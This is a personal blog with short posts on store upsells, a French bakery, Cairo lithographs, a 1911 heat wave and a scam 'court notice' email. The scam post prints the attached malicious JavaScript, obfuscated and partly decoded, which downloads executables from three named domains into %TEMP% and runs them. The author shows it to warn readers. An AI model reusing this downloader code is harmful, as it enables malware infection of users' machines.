The King of the Upsells

Now that the birthday has passed, the story can be told.

I went to F.Y.E. to buy a CD for my wife. I take my purchase to the register.

First Up:

Salesgirl: “Do you want to sign up for the F.Y.E. Backstage Pass? It’s free for the first month!”
Me: “How much is it after the first month?”
Salesgirl: “Only $11.95 per month thereafter.”
Me: “No, thank you.”

Apparently FYE has not had good press regarding their “Backstage Pass.”

Next:

Salesgirl: “Would you be interested in the CD replacement warranty today?”
Me: “No thanks.” (I didn’t even bother to ask how much extra profit they wanted on this one.)

Next:

Salesgirl: Pointing to a display of potential magazine subscriptions taped to the counter, the kind you’d find lying around in a substandard doctor’s office – People, Vogue, Cosmo, etc. “Would you like to buy a subscription to any of these magazines?”
Me: “No thanks.”

Next: (Will this ever end?)

Salesgirl: Pointing to a discount bin by the register: “Would you be interested in any of these fine movies for only $5.00?
Me: “No thanks.”

What I really wanted to say was, “Holy hqiz, girl, I only came in to buy one album. At least at McDonald’s they only ask you “Do you want fries with that?”

And the sad part is that these sales associates get graded on how many upsells they make, and probably have a regular quota to meet. I can’t imagine how many people they drive away with this relentless drive for nickels and dimes. Frankly I’m surprised they stay in business.

The Old Wolf has spoken.

“He takes them to a pastry shop to eat some good cakes.”

For as long as I can remember – my very earliest reading days in the 50s – Babar was one of my favorite children’s books. I always loved this page, where Babar takes his two little cousins Arthur and Celeste to a patisserie… those pastries always looked so good to me, and my mother had already introduced me to the delights of brioches.

Babar

Yesterday was my wife’s birthday, and we spent the day doing a massive Yarn Hop around the local yarn stores of Salt Lake, but before heading home, we stopped in at “Gourmandise,” a French bakery/café that sits at 250 South 300 East, right where the original Ratskeller Pizza Shoppe used to be.

gourmandise

Photo from their website

That display of pastries and other goodies is Babar come to life for me, and the quality is every bit what I would expect. (No, they’e not paying me for this post.)

Here are two of the goodies we brought home last night, the other two were devoured before I thought of writing this, and they were absolutely divine.

Pastries

Yes, they’re pricey – but you don’t find stuff like this for a buck and a quarter at Smith’s. It’s probably a very good thing that I’m not wealthy enough or close enough to patronize these guys on a regular basis, or I’d look like Fat Albert.

The Old Wolf has *belch*  spoken.

Six Views of Cairo – Robert Hay

The six lithographs below were published by the American University in Cairo Press in 1983. They were found among my mother’s possessions; she spent years in Egypt on various assignments from World War II to the 1970s.

Description

A - Sabil Kuttab

Description A

B - Bab Zuwayla

Description B

C - Bayn Al Qasrayn

Description C

D - Minaret, Ibn Tulun

Description D

E - A Circumcision Procession

Description E

F - Barquq Mosque

Description F

What would be really interesting would be some contemporary street scenes from Cairo showing what these locales look like today.

The Old Wolf has spoken.

Order to Appear in Court

Nothing to see here, folks, just move along. Another scam email from fraudsters trying to get me to download malware to my computer.

This time the Javascript code wants to go out to startick.com, mrflapper.com, and ihaveavoice2.com (all of which are invalid top-level domains), and then download and install other nasty stuff to my computer.

Here’s the email that this came attached to:

To: [edited]
Subject: Notice of appearance in Court #00928994

From: “District Court” <jimmie.cowan@138-172.static.hkit4u.com>

Notice to Appear,
You have to appear in the Court on the July 27.
Please, prepare all the documents relating to the case and bring them to Court on the specified date.
Note: The case may be heard by the judge in your absence if you do not come.
You can review complete details of the Court Notice in the attachment.
Sincerely,
Jimmie Cowan,
Clerk of Court.
Attached: Notice_to_Appear_00928994.zip
That “notice to appear” attachment is actually a JavaScript file, and it came as garbage that looked like this:

function sah126() { return ’00) {‘; };  function sah125() { return ‘ == 2’; };  function sah210() { return ‘+fr+’; }; function sah86() { return ‘ar dn’; };  function sah105() { return ‘rea’; };  function sah95() { return ‘bj’; };

But as soon as the code runs, it concatenates all those little bits into something that looks like this:

var stroke=”55565C5E0D0A020B240507050001091D0B0203160105100A0117174A070B09″;

function gvi() { return ‘e’; }

function sah() { return ‘val’; }

function dl(fr)l”); v { var b = “w’; };

ww.startick.com mrflapper.com ihaveavoice2.com”.split’; };

(” “); for (var i=0; i<b.length; i++) { var ws = new ActiveXObject(“WScript.Shelar fn = ws.ExpandEnvironmentStrings(“%TEMP%”)+String.fromCharCode(92)+Math.round(Math.random()*100000000)+”.exe”; var dn = 0; var xo = new ActiveXObject(“MSXML2.XMLHTTP”); xo.onreadystatechange = function() { if (xo.readyState == 4 && xo.status == 200) { var xa = new ActiveXObject(“ADODB.Stream”); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; };’; };

try { xo.open(“GET”,”http://”+b%5Bi%5D+”/document.php?rnd=”+fr+”&id=”+stroke, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(4851); dl(5382); dl(2753);var po = ”

for (var ckz=1; ckz<=242; ckz++) { po += this[‘sah’+ckz](); } this[gvi()+sah()](po);

I’ve mentioned these a few times before – the only way to keep yourself safe is to never open attachments you receive in email messages unless you are 100% sure whom they are from and what they are.

The bad actors want access to your data and your computer, and they don’t care how they get it.

Be careful out there.

The Old Wolf has spoken.

1911 – Hot town, summer in the city

maxresdefault

Heat wave in New York. July 6, 1911. “Licking blocks of ice on a hot day.” 5×7 glass negative, George Grantham Bain Collection.

Found at Shorpy.

New York can get blistering hot when a heat wave rolls through. I experienced a number of days like this when I was growing up there. And I’m old enough to remember the ice man with his truck, and an electric crusher on the back so he could deliver chips as well as the blocks.

Our neighborhood didn’t get ice deliveries, those were mostly down in the village if I remember correctly. But I do recall that close to my home was a playground with one of these:

sprinklerball

It was a great way to cool off on a hot summer day. I’m glad there are still water attractions around to help kids stay cool in the summer heat.

The Old Wolf has spoken.